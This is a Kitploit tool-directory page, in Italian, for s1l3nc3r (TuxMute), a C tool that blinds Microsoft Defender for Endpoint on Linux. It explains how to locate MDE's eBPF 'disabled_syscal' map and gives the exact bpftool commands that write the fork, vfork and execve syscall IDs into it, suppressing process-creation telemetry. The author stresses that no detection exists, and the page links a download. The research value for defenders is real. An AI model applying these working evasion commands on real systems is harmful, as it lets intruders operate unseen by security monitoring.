Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
s1l3nc3r — Strumento in C che silenzia la telemetria di Microsoft Defender for Endpoint su Linux scrivendo gli ID delle syscall nella mappa eBPF disabled_syscal esposta, sopprimendo gli eventi di creazione dei processi. | Kitploit
Strumenti/GitHubGitHub/unicornofhunt/s1l3nc3r
Strumenti DifensiviEscalation di PrivilegiEvasione IDS/IPSPost-ExploitAnalisi MalwareAnalisi di BinariRed Teaming
GitHubunicornofhunt/s1l3nc3r

s1l3nc3r

Strumento in C che silenzia la telemetria di Microsoft Defender for Endpoint su Linux scrivendo gli ID delle syscall nella mappa eBPF disabled_syscal esposta, sopprimendo gli eventi di creazione dei processi.

Vedi Repository
17229 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

TuxMute

LinuxSilenced

MDE per silenziare la telemetria su Linux.

Sebbene richieda l'accesso root (non considerato un confine di sicurezza da Microsoft), è un modo molto furtivo per disattivare la telemetria di MDE per Linux.

Funziona sfruttando la mappa bpf esposta disabled_syscal. Inserisce i numeri delle syscall all'interno di questa mappa per ostacolare la capacità di MDE di generare telemetria per una determinata syscall.

Testato su Linux debianMDE 6.12.107+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.107-1 (2026-08-29) x86_64 GNU/Linux.

Microsoft ha recentemente rilasciato in anteprima la protezione contro le manomissioni; non sono ancora riuscito a installarla sul mio host, quindi non posso confermare se funzionerebbe ancora.

RICHIEDE ROOT E/O CAPABILITÀ ADEGUATE

SOLO PER SCOPI EDUCATIVI E DI RICERCA

Non sono responsabile per qualsiasi uso improprio di questo software.

Se scegli di utilizzare TuxMute (s1l3nc3r) per scopi malevoli, è solo responsabilità tua.

Questo strumento è fornito così com'è, solo per ricerca, istruzione e test di sicurezza autorizzati.

Compilazione

gcc -O2 -Wall s1l3nc3r.c -o s1l3nc3r -lbp

Panoramica di ciò che accade

sudo bpftool prog show

Il comando sopra elencherà tutti i programmi eBPF attualmente caricati con alcuni dettagli sui loro hook nel kernel.

Un tracepoint ha attirato la mia attenzione:

367: tracepoint  name sched_process_exec  tag 9c75ffc2b762e640  gpl
        loaded_at 2026-09-03T14:06:43-0400  uid 0
        xlated 13272B  jited 7499B  memlock 16384B  map_ids 69,54,62,71,70,73,58,72
        btf_id 126

Gli hook di cui sopra si collegano direttamente al tracepoint sched:sched_process_exec, quindi alle vostre tipiche syscall execve() o execveat().

Fornisce inoltre delle BPF map su cui torneremo presto.

La creazione dei processi è piuttosto interessante dal punto di vista della telemetria, quindi potrebbe essere interessante approfondirla, non credete?

sudo bpftool prog dump xlated id 367

Con il comando sopra possiamo effettuare il dump del bytecode eBPF del programma (367) che abbiamo identificato in alcune istruzioni pseudo-assembly.

L'output è enorme, quindi limitiamoci alle prime 30 righe. NOTA: non seguirò ogni riga, mi limiterò a segnalare alcune cose interessanti che risultano piuttosto evidenti guardando questo output.

 sudo bpftool prog dump xlated id 367 | head -n 30
int sched_process_exec(struct trace_event_raw_sched_process_exec * ctx):
; struct task_struct *task = (void *)bpf_get_current_task();
   0: (85) call bpf_get_current_task#-112048
   1: (bf) r7 = r0
   2: (b7) r1 = 59
   3: (63) *(u32 *)(r10 -24) = r1
   4: (bf) r2 = r10
   5: (07) r2 += -24
; system_call_disabled = bpf_map_lookup_elem(&disabled_syscall_events_map, &syscall_id);
   6: (18) r1 = map[id:69]
   8: (85) call __htab_map_lookup_elem#288832
   9: (15) if r0 == 0x0 goto pc+1
  10: (07) r0 += 56
; return system_call_disabled && (*system_call_disabled == 1);
  11: (55) if r0 != 0x0 goto pc+155
  12: (7b) *(u64 *)(r10 -96) = r7
; uint64_t pid_tid = bpf_get_current_pid_tgid();
  13: (85) call bpf_get_current_pid_tgid#245584
  14: (bf) r8 = r0
; uint64_t uid_gid = bpf_get_current_uid_gid();
  15: (85) call bpf_get_current_uid_gid#246208
  16: (bf) r9 = r0
; uint32_t cpu_id = bpf_get_smp_processor_id();
  17: (b4) w0 = 217548
  18: (bf) r0 = &(void __percpu *)(r0)
  19: (61) r0 = *(u32 *)(r0 +0)
; uint32_t cpu_id = bpf_get_smp_processor_id();
  20: (63) *(u32 *)(r10 -76) = r0
  21: (bf) r2 = r10
  22: (07) r2 += -76

Otteniamo il puntatore alla struct task struct del processo corrente (contiene tutti i dettagli sul task che nel mondo Linux possiamo considerare semplicemente un processo o thread). Salviamo il puntatore ottenuto in r7.

Carichiamo 59 in r1 (59 è il numero di syscall per x86_64 per execve.

Lo inseriamo nello stack.

Carichiamo il riferimento alla map con id 69 (ricordate il primissimo dump che abbiamo fatto, c'erano elencati gli id delle map). La map è referenziata come disabled_syscasll_events_map.

Eseguiamo una lookup per vedere se 59 è presente.

Se questo è disabilitato, allora salta più avanti.

Potete continuare all'infinito con questo per vedere quale sarebbe alla fine il percorso eseguito. Tuttavia, credo che sia abbastanza autoesplicativo cosa diavolo stia succedendo qui.

MOLTO PROBABILMENTE QUESTA MAP (69, lol ho appena notato il numero heheheeheheh) è responsabile di memorizzare i numeri di syscall che dovrebbero essere esclusi dalla generazione della telemetria?

Potete fare il dump di maggiori informazioni sulla map:

sudo bpftool map show id 69
69: hash  name disabled_syscal  flags 0x0
        key 4B  value 1B  max_entries 512  memlock 55168B

Voglio dire... si chiama disabled_syscal. Questo ci fornisce anche i dettagli su cosa si aspetta la map: 4 byte per la chiave, quindi un intero a 32 bit per l'ID della syscall, e 1 byte per il bool che indica se è disabilitata o meno (1|0).

Possiamo aggiornare la nostra map con le informazioni corrette:

sudo bpftool map update id 69 key 0x3b 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x39 0x00 0x00 0x00 value 0x01
sudo bpftool map update id 69 key 0x3a 0x00 0x00 0x00 value 0x01

sudo bpftool map dump id 69
key: 39 00 00 00  value: 01
key: 3b 00 00 00  value: 01
key: 3a 00 00 00  value: 01

Quindi abbiamo aggiornato la nostra mappa con alcune syscall 57 (0x39) fork, 58 (0x3a) vfork, 59 (0x3b) execve. Solo alcune cose relative alla creazione di processi.

MDE contiene la mappa di questi numeri di syscall in questo file: cat /opt/microsoft/mdatp/conf/syscalls.conf

cat /opt/microsoft/mdatp/conf/syscalls.conf | head -n 60
0=read,3
1=write,3
2=open,3
3=close,1
4=stat,2
5=fstat,2
6=lstat,2
7=poll,3
8=lseek,3
9=mmap,6
10=mprotect,3
<SNIP>
57=fork,0
58=vfork,0
59=execve,3

Dopo aver eseguito queste attività e poi aver eseguito numerosi processi diversi, DeviceProcessEvents non mostra nulla.

NOTA: l'id del tracepoint e della map sarebbero diversi a ogni caricamento di ebpf.

Da ciò che ho osservato, dopo aver inserito i valori lì, rimarranno. Ovviamente, non sopravviveranno al riavvio.

Puoi rimuovere il silenziamento:

sudo bpftool map delete id 69 key 0x3b 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x39 0x00 0x00 0x00
sudo bpftool map delete id 69 key 0x3a 0x00 0x00 0x00

sudo bpftool map dump id 69
Found 0 elements

Mentre gli eventi di processo erano silenziati, ho eseguito alcune curl verso google e ho notato che DeviceNetworkEvents venivano popolati; molto probabilmente è una syscall diversa a essere responsabile di questa telemetria. Tuttavia, la cosa interessante è che non troveresti il processo usando questo processid in DeviceProcessEvents perché non c'è (il che di per sé potrebbe essere un modo interessante di rilevarlo).

È importante dire che attualmente non esiste alcun rilevamento per questo, NON vedrai alcuna telemetria speciale, anche la timeline è influenzata da questo, da quanto ho notato.

Potresti dire che non è un grosso problema, e non è considerato un confine di sicurezza perché hai root e puoi fare qualsiasi cosa tipo uccidere il processo LOL. È giusto, ma farlo in questo modo tramite la mappa ebpf è più subdolo e non genererà alcuna telemetria in MDE che possa indicare una manomissione della mappa (gli EVENTI DI PROCESSO DA bpftool non contano, puoi scrivere un programma in user mode e farlo da lì lol, quindi buona fortuna a cercare sudo ./beningPROCHEHE nei tuoi log).

Ciò che è davvero importante qui è la telemetria o la MANCANZA di essa.

Inoltre, mentre le syscall sono disabilitate, tutto è verde per quanto riguarda la salute di MDE, nessun problema amico.

Scarica lo strumento